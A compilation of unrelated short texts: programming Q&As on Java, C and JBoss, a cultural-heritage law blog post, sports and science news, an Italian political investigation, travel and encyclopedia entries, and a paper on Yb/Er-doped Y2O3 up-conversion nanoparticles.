public String getProductName() {
return this.productName;
}
public void setProductName(String productName) {
this.productName = productName;
}
public int getQuantity() {
return this.quantity;
}
public void setQuantity(int quantity) {
this.quantity = quantity;
}
}
A:
As it appeared I had to add transaction type JTA to the ejb's web.xml file.
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Wednesday, April 17, 2013
The U.S. Attorney in St. Louis today told the Eight Circuit Court of Appeals that negotiations have failed in the case of United States v. Mask of Ka Nefer Nefer. Federal authorities are attempting to seize and forfeit the mummy mask from the St. Louis Art Museum and hope to return it to Egypt.
The federal district court in St. Louis twice dismissed the case last year before prosecutors filed an appeal to the higher court. But prosecutors told the appeals court in a January 17, 2013 status report that negotiations might resolve the matter. "It is the hope of the parties that this meeting will result in the parties and the Republic of Egypt coming to terms that will settle this matter in its entirety, such that no further appellate proceedings will be required," the report explained.
Today's report, in contrast, closes the door on any negotiated settlement. It announces:
"In the interim between the United States’ last status report and the present date, the parties have continued to confer in good faith in an attempt to reach an amicable resolution of this case. Unfortunately, the parties’ attempts have so far been unsuccessful, and the United States no longer believes that a nonjudicial resolution of this case is likely in the foreseeable future."
The case will be placed back on the court docket and proceed to appellate litigation.
This post is researched, written, and published on the blog Cultural Heritage Lawyer Rick St. Hilaire at culturalheritagelawyer.blogspot.com. Text copyrighted 2010-2013 by Ricardo A. St. Hilaire, Attorney & Counselor at Law, PLLC. Any unauthorized reproduction or retransmission of this post is prohibited. CONTACT: www.culturalheritagelawyer.com Photo credit woofwoof.
DISCLAIMER: This blog is for general information only. The information provided on this site should not be construed as legal advice, nor does it form an attorney-client relationship with the reader. While accuracy is strived for, the information presented here may not contain the most current legal developments. It is not guaranteed to be current, correct, or complete. No warranty, either express or implied, is given by this site or its contents. There may be information presented that links to outside sources. These links are not intended to be an endorsement of these sites, their information, or their opinions. Comments or opinions made by others are their own opinions and do not necessarily reflect the opinions of CHL or its author(s). This site is intended for informational purposes and is not attorney advertising. If you send an email to Cultural Heritage Lawyer, it will not form an attorney-client relationship and may not be treated as confidential or privileged. You should not send confidential communications through this web site or via email.
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Q:
segmentation fault C finite state machine
I am relatively new to C programming and I am trying to make a delimiter checker, but for some reason every time I run my code and it gets my input to check for delimiters, it has a segmentation fault (core dumped) error.
Below is the code of the main program:
int
main (void)
{
char* mystring;
printf ("Please enter a string\n");
gets(mystring);
if (fsm(mystring))
{
printf ("All matched");
}
}
It seems like it never enters the subprogram fsm though, because I put in a printf right at the beginning of the subprogram and it never shows up. It does ask for my input though and prints it back out if I put the printf in the main program before the subprogram line.
Here is my prototype:
boolean fsm(char[]);
and here is the beginning of the subprogram if that is any help:
boolean fsm (char mystring[])
{
printf("here\n");
int counter = -1;
int state = 0;
c_stack top;
c_init_stack (&top);
while (1)
{
switch (state)
{
case 0:
counter = counter + 1;
if (is_open (*mystring))
state = 1;
else if (is_close (*mystring))
state = 2;
else if (mystring = '\0')
state = 3;
else
state = 4;
break;
A:
You are trying to read into an uninitialized char*. Just declaring char *mystring doesn't give you a string to work with: you'll need to allocate space for the string.
Either:
char *mystring = malloc(MAX_STRING_LENGTH);
Or:
char mystring[MAX_STRING_LENGTH];
Once you have a buffer, use fgets instead of gets. fgets allows you to specify an upper-bound on the number of characters read, so fgets along with something like MAX_STRING_LEN you'll be able to accept only as much data as your buffer will hold.
As it is, since C doesn't initialize automatic (local) variables, mystring has an undefined value. It can point to any random part of memory. When you try to gets using this memory location, you're trying to write to that memory that doesn't belong to you.
Finally, this condition with a single =: else if (mystring = '\0') is an assignment, and not an equality test.
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“My dear fellow,” Pep Guardiola said, his eyes twinkling to confirm that what he said next might not be completely what he believed. “This is the Premier League. Every single team can beat the others. That is the best expression I have learned.”
The Manchester City manager was responding to the inevitable question about how many goals his free-scoring side might rack up against Crystal Palace, who have yet to score a league goal or claim a point, and injecting a hint of sarcasm because he does not accept the Premier League’s claim to be the toughest in the world. “Palace do have quality,” he said, back in serious mode. “We watched their last two games and they created a lot of chances against Southampton and Burnley.”
The visitors to the Etihad Stadium have also become the first side to appoint a 70-year old-manager, something Guardiola was asked whether he could see happening to him. “Definitely not, I promise you,” he said. “I love golf too much. But I admire Roy Hodgson, I respect him for his long career. It is the same with Gareth Barry and his Premier League appearance record. I admire people who keep going, especially if they are 70.”
City are in a strong position at the top of the table, exactly level with Manchester United, but Guardiola is realistic about the situation after five games. “We started last season quite well too,” he said, “but it was not good enough in the end. We were not able to fight until the end in either the Premier League or the Champions League. We are better in certain areas this season but we still suffered in the second half at West Bromwich in midweek. They were the better team in the second half.”
Guardiola shares José Mourinho’s opinion of the League Cup, that it has outlived its usefulness and could be scrapped to ease the fixture burden on leading clubs. “I don’t want to complain, we accept the situation as it is because we knew about it all along, but you can waste a lot of energy playing 90 minutes against a Tony Pulis team,” he argued. “As a manager you want your team to be as fresh as possible and that is hard with a match every three days. Now we have Palace, then Shakhtar Donetsk, then we must go to Stamford Bridge before the international break. I just hope we are still on maximum points when we go to Chelsea.”
Guardiola admitted the hardest part of his job is leaving out high-quality players each week but he believes a big squad is necessary to cope with the number of games. “You can’t keep picking from the same 13 or 14 players,” he said. “The schedule is too complicated for that. When everyone is fit it is hard to tell players they are not in the team, but I can only pick 11 players. The ones who miss out are upset for a few hours but then they realise there is another game coming along in three days.”
Guardiola believes Gabriel Jesus’s return to fitness and overall impact this season has helped Sergio Agüero, whom he said was isolated at times last season, and added City have enough talented attacking players to cope with teams who turn up at the Etihad principally to defend. “It is hard to play against teams who do that, I have struggled with that all my career,” he said. “Both as a player and a manager. You have to have players who are good at attacking small spaces and that’s what we have in David Silva, Kevin De Bruyne and Ilkay Gündogan.”
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Cardiac and aortic effects of angiotensin converting enzyme inhibitors.
The effects of six angiotensin converting enzyme inhibitors (captopril, CGS-16617, cilazapril, enalapril, utibapril, and quinapril) on cardiovascular structure, systemic hemodynamics, left ventricular end-diastolic pressure, left ventricular pumping ability, and aortic distensibility were assessed in male normotensive Wistar-Kyoto and spontaneously hypertensive rats 16-19 weeks of age. Rats (10 in each group) were treated for 3 weeks with drugs or control diluents administered daily by gavage. The agents, in general, had similar hemodynamic effects, although these effects on cardiac mass were variable; some agents reduced left ventricular mass and some produced no change. These effects occurred in hypertrophied as well as nonhypertrophied chambers. Furthermore, changes in left ventricular pumping ability were not necessarily related to the ability of these agents to change left ventricular mass; this dissociation in performance was neither related to change in structure nor to changes in aortic distensibility. Thus, even within a same class of antihypertensive agents (i.e., angiotensin converting enzyme inhibitors), similarly induced hemodynamic alterations were associated with inconsistent changes in left ventricular pumping ability or aortic distensibility regardless of whether the structure was hypertrophied before therapy. These dissociated responses in cardiovascular structure and function may be related to pharmacodynamic or pharmacokinetic differences; alternatively, they also may be related to these differences in action on local myocytic renin-angiotensin systems or in intramyocytic biological responses.
|
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Con le elezioni comunali di Milano la Lega Nord di Matteo Salvini inaugura ufficialmente il nuovo corso sovranista e nazionalista. Una Lega che può tenere al suo interno senza imbarazzo, e imponendoli agli alleati, personaggi provenienti dalla destra neofascista più estrema, che a Milano si chiama Lealtà e Azione.
È da questa organizzazione che proviene Stefano Pavesi, il candidato al Municipio 8 imposto dalla Lega alla coalizione di centro destra guidata da Stefano Parisi, di cui stiamo raccontando da giorni. “Sono un patriota che vuole difendere i più bisognosi tra i miei compatrioti, se questo è essere fascista lo sono” ha detto Pavesi al Corriere della Sera. “C’è da essere orgogliosi di fare parte di Lealtà e Azione”. E infatti nel giro di poche ore è arrivato il sostegno pubblico, via facebook, dei militanti del gruppo, con alcuni endorsement di particolare peso, come quello degli Hammerskin, l’ala estrema di Lealtà e Azione, l’èlite internazionale di naziskin nata a Dallas nel 1988 attorno al Ku Klux Klan. Uno dei loro leader milanesi, Stefano Del Miglio, ha scritto sulla sua bacheca facebook: “E così la campagna elettorale a Milano del 2016 ha come unico tema il fascismo e l’antifascismo, tema di grande attualità tra l’altro. Bé comunque io sto con Pavesi! #iovotopavesi #difendizona8”. Messaggi simili sono stati scritti sulle pagine facebook di altri Hammerskin milanesi.
Stefano Del Miglio è noto alle cronache per essere stato nel 2004 tra i protagonisti dell’assalto al centro sociale Conchetta di Milano, dove una decina di attivisti del centro vennero accoltellati e picchiati, e per cui arrivarono dieci condanne per tentato omicidio e lesioni volontarie. Tra i condannati anche Del Miglio, 4 anni in primo grado per tentato omicidio, poi passati in secondo grado a meno di due per lesioni volontarie. Oggi, Del Miglio e gli Hammerskin, sostengono Pavesi attraverso Lealtà e Azione e la Lega.
LA GALASSIA DI ONLUS E ASSOCIAZIONI
Attorno a Lealtà e Azione gravitano una decina di associazioni: Bran.Co Onlus, Associazione Memento, Lupi delle Vette, I Lupi danno le Zampe, Una Voce nel Silenzio, Wolf of the Ring, Gruppo Alpha e altre. Alpha è il gruppo studentesco di Lealtà e Azione di cui Pavesi è stato portavoce in occasione dell’aggressione fatta da militanti di destra a studenti dei collettivi di sinistra. Fu Pavesi a raccontare la loro versione ai giornali, in contrasto con “la spedizione punitiva contro studenti di sinistra” raccontata da chi stava studiando all’interno della biblioteca centrale dell’Università Statale di Milano.
Queste associazioni rappresentano la faccia presentabile del movimento, quelle che mobilitano volontari contro la pedofilia, a difesa delle famiglie italiane in difficoltà, nel ricordo dei morti della Repubblica di Salò, nella difesa dei cristiani perseguitati del mondo. Queste associazioni servono da collettore per finanziare le attività del gruppo e sono state usate per accreditarsi alle istituzioni. Tentativi quasi sempre naufragati, persino il consiglio regionale a maggioranza di centro destra revocò il patrocinio a un torneo di calcetto organizzato da Lealtà e Azione attraverso l’associazione Bran.Co Onlus. Oggi lo stesso centro destra gli apre la porta delle istituzioni, come si comporterà alla prossima richiesta di patrocinio?
Questa “galassia nera”, come l’ha definita l’Osservatorio Democratico sulle Nuove Destre, si muove principalmente tra le province di Milano, Monza e Pavia. A differenza di Casapound o Forza Nuova, non hanno fondato un partito, ma cercano consenso attraverso attività “culturali, storiche e ludiche”. A loro si deve la diffusione delle band nazirock e l’organizzazione dei raduni che ogni anno suscitano polemiche e indignazione tra le forze democratiche e antifasciste. Un modo di ricercare consenso diverso dalle più note organizzazioni della destra estrema italiana, e che oggi, nella Lega, trova nuova casa.
“Prendendo in prestito la definizione di Casapound di fascisti del terzo millennio, definirei Lealtà e Azione come i nazisti del terzo millennio”, ci aveva detto Elia Rosati, collaboratore dell’Università Statale di Milano e studioso delle destre europee. “Parlo dei loro riferimenti ideologici, culturali e storici, e dalla capacità che hanno di sdoganare, mascherandola, la loro origine”. L’alleanza tra Lega Nord e Lealtà e Azione sorprende? “No – diceva ancora Rosati – anche se in passato sono stati più vicini agli ex di Alleanza Nazionale come Marco Osnato”. Quando Osnato era dirigente Aler, l’azienda di Edilizia Pubblica della Lombardia, Lealtà e Azione ottenne a trattativa privata la vecchia sede di viale Brianza 20. Osnato venne poi condannato in primo grado per appalti Aler truccati.
LA VICINANZA LEGA-NEOFASCISTI
Non sorprende, quindi, la vicinanza tra la galassia della destra estrema e la Lega Nord. In questi anni sono stati innumerevoli i dibattiti organizzati da Lealtà e Azione a cui hanno partecipato politici della Lega: Mario Borghezio, Davide Boni, Max Bastoni, ma anche l’attuale candidato alla presidenza del Municipio 8 Igor Iezzi. La novità è l’aver portato Lealtà e Azione dentro la Lega Nord.
Una strategia non solo milanese, interessante ad esempio anche il caso di Gallarate, nel varesotto, dove è stata Forza Nuova a confluire nella lista emanazione della Lega.
Tra i più influenti dentro la Lega in questo nuovo corso salviniano c’è Vincenzo Sofo, calabrese di origine, ex militante di Alleanza studentesca, Giovane Europa ed ex responsabile milanese dei giovani de La Destra di Storace nel 2007. Sofo è stato consigliere di zona 6 a Milano per la Lega dal 2009 ed oggi si candida al consiglio comunale. Insieme Fabrizio Fratus, ex dirigente del partito di estrema destra Fiamma Tricolore, fonda nel 2012 il circolo culturale Il Talebano, dal nome dell’omonimo blog. Sofo ha ricevuto recentemente un po’ di notorietà per la campagna omofoba sotto il titolo “togliete il monopolio delle politiche sociali alla lobby LGBT”.
“Anche a me i giornali danno del fascista, del razzista, dell’estremista. Non c’è alcun problema”, ha detto Salvini a chi gli chiedeva della provenienza dal mondo neofascista di Pavesi. “Garantisco io per lui” ha tagliato il coordinatore provinciale milanese Davide Boni. Un politico minore, candidato in un Municipio, eppure difeso come si fa con un leader. E alla fine imposto al resto della coalizione. Così fa la Lega oggi a Milano, così potrebbe fare domani altrove se i numeri nelle urne gli daranno ragione. È l’idea sovranista di Salvini con cui vorrebbe guidare la destra italiana.
Il discorso pubblico di Salvini e la sua sovraesposizione mediatica hanno sdoganato parole, pensieri e atteggiamenti della destra estrema, razzisti e nazionalisti, in un partito fino a qualche anno fa secessionista e regionalista.
Accogliendo fascisti al suo interno, oggi la Lega è il partito più importante della nuova destra estrema italiana, più di Fratelli d’Italia e in un rapporto di complicità/rivalità con Casapound e Forza Nuova.
|
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Announcing our bi-weekly newsletter, "The Topline"
This Wednesday, we will be launching "The Topline", a bi-weekly round-up of polling, politics and data. Every week we’ll go in depth on one or two issues and then provide some links to the best of the web.Sometimes serious, sometimes tongue-in-cheek, The Topline will keep you in the know on polling developments in Massachusetts and beyond.
This week, we will go in-depth on Boston Olympics polling to date, round up other polling news including a set of way-too-early 2016 polls, and finish off with statistical proof that the Patriots are the greatest thing since sliced lobster roll buns.
We will also post The Topline here, but why wait? Sign up to receive it via email in the box on the right of this page.
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Electronics Engineering - Associate Degree at ECPI College of Technology
This offers instruction in the practical aspects of computer and network maintenance and repair with emphasis on logical troubleshooting techniques. Students are prepared for entry-level positions such as electronics technician, desktop support specialist, systems coordinator, and field technician. The core courses provide students with a foundation in analog and digital electronics fundamentals, while advanced technical courses provide knowledge in specialized network and infrastructure technology such as fiber optics.
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Some women had it done for appearance sake, often as an add-on to more functional operations, he told Doctor Magazine.
But for others, it was a matter of relieving physical discomfort.
Dr Mackintosh said many women were relieved to find their problems finally taken seriously.
"Every day I see women who thank me for what I am doing," he told the magazine.
However, some men were less supportive in his experience.
"Many think they own women."
Dr Mackintosh said his clinic was getting about six calls a week since he began offering the service in November, and to cope with the extra workload he had taken on two extra gynaecologists to carry out cancer surgery.
|
{
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|
Q:
In JBoss, how do I make my war start after my sar?
Within my service I have an mbean which is accessed by my war file. How do I ensure that the war file is deployed and started after the service?
A:
If the service is deployed as a sar, then you don't have to do anything. sar's are deployed before war's.
|
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Dolpo Trekking
Dolpo trekking is west North in Nepal, but it is diverse. It has been one of the demanded trekking purposes among the clients of Nepal Acute Trek. Opposing to what one envisage is usually Nepal. Opened only in 1993 for tourism, it is still a little known gem of Tibetan Buddhism. This yet uncharted, high altitude and isolated valley has been able to preserve exceptional existence. People call you a welcoming to monasteries like eagles' nests on rock walls, prayer flags flap noisily on each pass. The people of Dolpo have a ancient lifestyle with their own vernacular and culture. The culture of people inhibiting in the area has become one of the best sealed example of Tibetan Buddhism in the world. Dolpo valley remained out of reach of outsiders for long, therefore, the culture and lifestyles of the Tibetan origin people of here have been the major magnetism for many.
Nepalgunj is the center of a major rice growing area and is measured a significant transfer place on the way into the remote western Nepal. From here, you can start with a flight to Juphal. Like a bird, you can admire the mountains and valleys from the air. Frequently along wild rushing rivers, and infrequently this crossing, past and ancient chorten Mani walls leads the trek over three 5,000m passes. The unique hospitality and spectacular landscapes of the areas not only has charmed to many trekkers but it has been fondest and lifetime experience. In the idyllic villages Dolpos invite wrap in red robes monks in their often centuries old monasteries. Some people will be the charm Dolpo soon succumbed. While having trekking to this magnificent area, you can visit several unique Buddhist monasteries, like the crystal Monastery (Shey Gompa) which is an imperative pilgrimage site for Tibetans. This trekking is also called to be Himalaya pilgrimage trekking and hidden valley trek created by Tibetan Monk Guru Rinpoche. Then you will move down down to Suli Gad River to Raha, lastly to the village of Juphal. From there you catch flight to Nepalgunj or Pokhara or direct flight to Kahtmandu.
|
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Edward Chichester, 6th Marquess of Donegall
Edward Arthur Donald St George Hamilton Chichester, 6th Marquess of Donegall (7 October 1903 – 24 May 1975), was a British peer and journalist. He succeeded to the title on the death of his father in 1904. His other titles included Earl of Donegall, Earl of Belfast, Viscount Chichester, and Baron Fisherwick, the last of which gave him a seat in the House of Lords. He was also the Hereditary Lord High Admiral of Lough Neagh.
The son of the elderly George Chichester, 5th Marquess of Donegall (1822–1904), Chichester was educated at the École nouvelle de la Suisse romande, Eton, and Christ Church, Oxford, and took up a career in journalism. For many years he wrote a column in the Sunday Dispatch under the title "Almost in Confidence". He made regular contributions to the Sunday News and Sunday Graphic, and also held a staff position on the Daily Sketch. As a journalist, he travelled extensively, notably covering the winter sports in St Moritz, Switzerland. He was a passenger on the maiden voyage of the Queen Mary, returning on the Hindenburg. In 1924, by virtue of his barony of Fisherwick in the peerage of Great Britain, he was able to take a seat in the House of Lords on reaching the age of twenty-one.
The Marquess of Donegall had a lifelong interest in aviation and owned his own aircraft, which he used for pursuing news stories. He covered the Spanish Civil War and was a distinguished war correspondent throughout the Second World War. His interest extended to cars and he was President of the Middlesex County Automobile Club from 1964 until his death in 1975. In 1949 he became a disc jockey with the BBC and in 1956 ran a Dixieland band and a jazz club in Kensington. He was also the owner of a record company.
He was a long-time member of the Sherlock Holmes Society of London, and edited its magazine, the Sherlock Holmes Journal, for many years. In that context and others, he told friends and acquaintances not to stand on ceremony ("My Lord Marquess") but not to use his first names either: "Call me Don!"
In 1943 he married Gladys Jean Combe, younger daughter of Captain Christian Combe. He parted from his wife after 10 years, and in 1962 moved to Switzerland. In 1968 the Marquess was granted a divorce under Swiss law and in that same year he married Mrs Maureen McKenzie, daughter of Major G C Schofield, MC, of Birkdale, Lancashire.
At the time of his death, the Marquess was working on his autobiography, which he planned to call Almost in Confidence, after the newspaper column he had run. It was not ready for publication before he died.
He died in Switzerland on 24 May 1975 at the age of 71. His second wife and widow died in 1999.
References
External links
Category:1903 births
Category:1975 deaths
Edward
Category:People educated at Eton College
Category:Alumni of Christ Church, Oxford
Edward 6
|
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By his own admission, Dr Karl Kruszelnicki is no Tom Gleeson. The radio broadcaster, who is coming to Launceston in August for National Science Week, admitted he wasn’t a fan of the comedian’s now infamous Go Away segment. “There is self deprecating humour and then there is the sort of humour where you degenerate others,” he said. “He’s a funny guy, but that one missed the mark for me. “I will always love Launceston and Tasmania for two reasons: one is you can see the Aurora Australis and the other is because of the blueberries they have down there.” Dr Kruszelnicki is set to speak on a much broader scope of subjects than Gleeson when he appears at Albert Hall to present Extreme Moments in Science: Real or Fake? Topics of the forum include the real colour of the universe, whether we really only use 10 per cent of our brains, the existence of the seven deadly sins and the truth about Santa, as well as much more. He said there had never been a better time to take an interest in science. “The first Australian space agency commenced operations this month,” he said. “The government hasn’t always shown an interest in science, so an investment like that is very exciting.” Dr Kruszelnicki will not be the only science communicator visiting Tasmania for National Science Week, with comedian Lawrence Leung also taking to the stage. A former psychology student at the University of Melbourne, Leung has lectured at science conventions, universities, Splendour in the Grass and The School of Life. His comedy style covers the pitfalls of growing, ghosthunting in Scottish castles, break-ups, breakdancing, poker cheating and seeking out jetpack inventors. His appearance in Launceston on August 17 is part of National Science Week Comedy Tour of Tasmania, which also includes shows in Hobart and Franklin.
Dr Karl Kruszelnicki to appear at Albert Hall as part of National Science Week
COMING TO LAUNCESTON: Dr Karl Kruszelnicki is coming to Launceston as part of National Science Week. Picture: Supplied
By his own admission, Dr Karl Kruszelnicki is no Tom Gleeson.
The radio broadcaster, who is coming to Launceston in August for National Science Week, admitted he wasn’t a fan of the comedian’s now infamous Go Away segment.
“There is self deprecating humour and then there is the sort of humour where you degenerate others,” he said.
“He’s a funny guy, but that one missed the mark for me.
“I will always love Launceston and Tasmania for two reasons: one is you can see the Aurora Australis and the other is because of the blueberries they have down there.”
Dr Kruszelnicki is set to speak on a much broader scope of subjects than Gleeson when he appears at Albert Hall to present Extreme Moments in Science: Real or Fake?
Topics of the forum include the real colour of the universe, whether we really only use 10 per cent of our brains, the existence of the seven deadly sins and the truth about Santa, as well as much more. He said there had never been a better time to take an interest in science.
“The government hasn’t always shown an interest in science, so an investment like that is very exciting.”
Dr Kruszelnicki will not be the only science communicator visiting Tasmania for National Science Week, with comedian Lawrence Leung also taking to the stage. A former psychology student at the University of Melbourne, Leung has lectured at science conventions, universities, Splendour in the Grass and The School of Life.
|
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Boisavia Chablis
The Boisavia B-80 Chablis was French light sport aircraft of the 1950s.
Design and development
The Chablis was designed by Lucien Tieles and constructed by Avions Boisavia in 1950. It was a two-seat ultra-light monoplane with a high parasol wing supported by struts. The seats were arranged in tandem fashion. It was of extremely simple all-wood design with fabric covering and was intended to be fitted with a variety of engines in the 50–80 h.p. range.
Two Chablis were built by Boisavia, the first F-PBGO making its first flight on 16 July 1950. These were powered by a 65 hp (48 kW) Continental A65 flat four-cylinder air-cooled engine. The Chablis was intended for construction by amateur builders using kits supplied by the firm. In the event, no further examples were completed and further development was not proceeded with.
Specification
References
Notes
Bibliography
Chablis
Category:1950s French sport aircraft
Category:Single-engined tractor aircraft
Category:Parasol-wing aircraft
Category:Aircraft first flown in 1950
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Background
==========
Up-conversion materials have the ability to convert lower energy near-infrared radiations into higher energy visible radiations. These materials have gained considerable attention because of their use in a wide range of important applications, from solid compact laser devices operating in the visible region and infrared quantum counter detectors to three-dimensional displays, temperature sensors, solar cells, anti-counterfeiting, and biological fluorescence labels and probes \[[@B1]-[@B6]\]. Further efforts in development of methods for preparation of up-conversion (UC) materials are therefore justified with aims of enhancing their UC efficiency and reducing production costs. In addition, methods for UC nanoparticle (UCNP) synthesis are of particular interest for use in two-photon bio-imaging, sensitive luminescent bio-labels, and GaAs-coated highly efficient light-emitting diodes \[[@B7]\].
Lanthanide-based UC materials and UCNPs are of special interest due to unique spectroscopic properties of rare-earth ions like sharp intra-4*f* electronic transitions and existence of abundant, long-living electronic excited states at various energies that facilitate electron promotion to high-energy states \[[@B8]\]. In principal, lanthanide-based UC materials and UCNPs consist of three components: a host matrix, a sensitizer, and an activator dopant. The choice of the host lattice determines the distance between the dopant ions, their relative spatial position, their coordination numbers, and the type of anions surrounding the dopant. The properties of the host lattice and its interaction with the dopant ions therefore have a strong influence on the UC process \[[@B9]\]. It has been shown that UC emission efficiency depends strongly on host phonon energy, where in low-phonon-energy hosts, multi-phonon relaxation processes are depressed and efficiency-enhanced \[[@B10]\]. Because of their excellent chemical stability, broad transparency range, and good thermal conductivity, rare-earth sesquioxides are well-suited host materials \[[@B11]\]. Their phonon energy (*ca.* 560 cm^−1^) is higher compared to the most UC-efficient fluoride materials (*ca.* 350 cm^−1^), but lower compared to other host types (phosphates, vanadates, molybdates, titanates, zirconates, silicates, etc.). In addition, easy doping can be achieved with RE ions because of similarity in ionic radius and charge. For sensitizer dopant, Yb^3+^ is the most common choice for excitation around 980 nm, where a variety of inexpensive optical sources exists. This ion has a simple energy level structure with two levels and a larger absorption cross section compared to other trivalent rare-earth ions. The energy separation of Yb^3+2^F~7/2~ ground state and ^2^F~5/2~ excited state match-up well the transitions of an activator dopant ion, which has easy charge transfer between its excited state and activator states. For visible emission, Er^3+^, Tm^3+^, Ho^3+^, and Pr^3+^ are commonly used as activator dopants \[[@B12]-[@B16]\]. UC emission of different colors can be obtained in a material with different activators and their combinations. Er^3+^-doped materials emit green and red light, Tm^3+^ blue, Ho^3+^ green, and Pr^3+^ red.
In recent times, a lot of effort is directed towards UC color tuning to obtain a material with characteristic emission usually by combining two or more activator ions \[[@B17]\] or by utilizing electron--electron and electron--phonon interactions in existing one-activator systems \[[@B18],[@B19]\]. In this research we showed that color tuning from green to red can be achieved in Yb^3+^/Er^3+^ UCNP systems on account of changes of Yb^3+^ sensitizer concentration. For this purpose we prepared Y~2~O~3~ NPs, the most well-known rare-earth sesquioxide host, co-doped with different Yb^3+^/Er^3+^ ratios. Nanosized phosphors offer a number of potential advantages over traditional, micro-scale ones in optical properties, such as high-resolution images and high luminescence efficiency \[[@B20],[@B21]\]. However, Vetrone et al. showed that CO~3~^2−^ and OH^−^ species are frequently adsorbed on the surface of sesquioxide nanoparticles \[[@B22]\]. Their high vibrational energies (about 1,500 and 3,350 cm^−1^ for CO~3~^2−^ and OH^−^, respectively) decrease the UC efficiency through multi-phonon relaxations. For this reason we applied polymer complex solution (PCS) synthesis \[[@B23]\] since we found earlier that the PCS method provides sesquioxides with low surface area and defects and no adsorbed species on the surface \[[@B24]-[@B26]\].
Methods
=======
Sample fabrication
------------------
Polymer complex solution method is a modified combustion method where instead of classical fuel (urea, glycine, carbohydrazide) an organic water-soluble polymer (in our case polyethylene glycol (PEG)) is used. The utility of this polymeric approach comes from the coordination of metal cations on the polymer chains during gelation process, resulting in very low cation mobility. Polymer precursor works both as a chelating agent and as an organic fuel to provide combustion heat for the calcination process. In this way PCS provides mixing of constituting elements at the atomic level and allows homogeneous control of very small dopant concentration. The first step in the PCS method is preparation of an aqueous solution containing metal salts and PEG. In the second step, removal of the excess water forces polymer species into closer proximity, converting the system into a resin-like gel. Upon ignition, an oxide powder is obtained, while considerable resin mass is lost as the polymer matrix is burned away.
Using this procedure, three Y~2~O~3~ samples doped with 0.5 at.% of Er^3+^ and 1, 2.5, and 5 at.% of Yb^3+^ ions were synthesized. In brief, appropriate stoichiometric quantities of yttrium oxide (Y~2~O~3~), erbium oxide (Er~2~O~3~), and ytterbium oxide (Yb~2~O~3~) (all Alfa Aesar, 99.9%, Ward Hill, MA, USA) were mixed and dissolved in hot nitric acid. In the obtained solutions, PEG ($\overset{¯}{Mw}$ = 200, Alfa Aesar) was added in 1:1 mass ratio. The formed metal-PEG solution was stirred at 80°C, resulting in a metal-PEG solid complex which was further fired at 800°C in air. The powders were additionally annealed at 800°C for 2 h in order to decompose the residual PEG and nitrite ions and to obtain pure crystal phase.
Characterization methods
------------------------
Crystal structures of samples are checked by X-ray diffraction (XRD) measurements. Measurements are performed on a Rigaku SmartLab system (Shibuya-ku, Japan) operating with Cu Kα~1,2~ radiation at 30 mA and 40 kV, in the 2*θ* range from 15° to 100° (using continuous scan of 0.7°/s). Transmission electron microscopy (TEM) is conducted using a JEOL-JEM 2100 instrument (Akishima-shi, Japan) equipped with LaB~6~ cathode and operated at 200 kV. The up-conversion luminescence emissions and decays are measured upon excitation with 978-nm radiation (OPO EKSPLA NT 342, 5.2-ns pulse, Vilnius, Lithuania) on a Horiba Jobin-Yvon Model FHR1000 spectrofluorometer system (Kyoto, Japan) equipped with an ICCD Jobin-Yvon 3771 detector. For measurements of up-conversion emission intensity dependence on excitation power, a continuous-wave laser is used (980-nm radiation).
Results and discussion
======================
The representative XRD pattern for the Y~1.97~Yb~0.02~Er~0.01~O~3~-doped sample is shown in Figure [1](#F1){ref-type="fig"}. The XRD analysis confirms the presence of a cubic bixbyite Y~2~O~3~ crystal structure with space group *Ia-3* (no. 206), with diffraction peaks indexed according to the PDF card \#87-2368. No other phases were detected and the small peak shifts in respect to pure Y~2~O~3~ are observed, indicating that Er^3+^ and Yb^3+^ ions have been effectively incorporated into the host lattice. An average crystallite size in the range of 21 nm is found by Halder-Wagner method analysis of all major diffraction peaks.
{#F1}
The presence of nitrate, water, and carbon species on nanoparticle surfaces is checked by Fourier transform infrared (FT-IR) spectroscopy. Only Y-O stretching vibrations of the host lattice at 560 cm^−1^ are noted (see Additional file [1](#S1){ref-type="supplementary-material"}: Figure S1 for the FT-IR spectrum of Y~1.97~Yb~0.02~Er~0.01~O~3~ sample). This is favorable for efficient emission since the high phonon energy of species adsorbed on the surface of nanoparticles may enhance significantly nonradiative de-excitation \[[@B13],[@B22]\].
The UCNPs are further investigated by transmission electron microscopy, and representative images are given in Figure [2](#F2){ref-type="fig"}. One can see highly agglomerated crystalline nanoparticles with irregular, polygonal-like shapes having a size in the range of 30 to 50 nm with boundary lines observed clearly in some regions (Figure [2](#F2){ref-type="fig"}a). Strong particle agglomeration is a main drawback of the PCS synthesis method. It is a consequence of an extremely high temperature gradient that occurs while firing metal-PEG complex. At that instance a large amount of high-pressure vapors is produced in the sample that strongly press particles onto each other. On the other hand, high-temperature gradients and pressure facilitate production of well-crystallized powder. An examination at higher magnifications (Figure [2](#F2){ref-type="fig"}b) reveals that grain boundaries are without any irregularities and that the surface of observed crystals is free of defects and without any amorphous layers. The spotty ring selected-area electron diffraction pattern (Figure [2](#F2){ref-type="fig"}c) confirms that Y~2~O~3~ powder is polycrystalline and is related to the fact that the constituent crystallites have a size of about 20 nm.
![**TEM data from Y**~**1.97**~**Yb**~**0.02**~**Er**~**0.01**~**O**~**3**~**sample.** (**a**) Bright-field image showing nanoparticle cluster. (**b**) \[110\] lattice image of a single particle. The 004 planes are indicated. Inset: FFT of image (indicated spot corresponds to 004 periodicity). (**c**) Selected-area diffraction pattern of nanoparticle cluster. Prominent planes are indexed.](1556-276X-8-131-2){#F2}
The up-conversion luminescence spectra of NPs, for all Yb/Er dopant compositions, are measured upon excitation with 978-nm radiation. The main red and green emissions are shown in Figure [3](#F3){ref-type="fig"}a. They originate from Er^3+^*f*-*f* electronic transitions ^4^F~9/2~ → ^4^I~15/2~ (red emission) and (^2^H~11/2~, ^4^S~3/2~) → ^4^I~15/2~ (green emission) and are facilitated by the two-photon UC process. Weak emissions from higher photon order UC processes can be observed in the blue spectral (410 nm, ^2^H~9/2~ → ^4^I~15/2~ transition) and UV (390 nm, ^4^G~11/2~ → ^4^I~15/2~ transition) regions shown in Figure [4](#F4){ref-type="fig"}. These higher photon order emission diminishes in NPs with lower Yb^3+^ content (Y~1.97~Yb~0.02~Er~0.01~O~3~). The variation in Yb^3+^ concentration alters the red-to-green emission ratio (see Figure [3](#F3){ref-type="fig"}a), and consequently overall UC color of NPs is changed (see Figure [3](#F3){ref-type="fig"}b). The highest Yb^3+^ concentration of 5 at.% produces red color, and yellow is obtained with 2.5 at.% and green with 1 at.%.
{#F3}
{#F4}
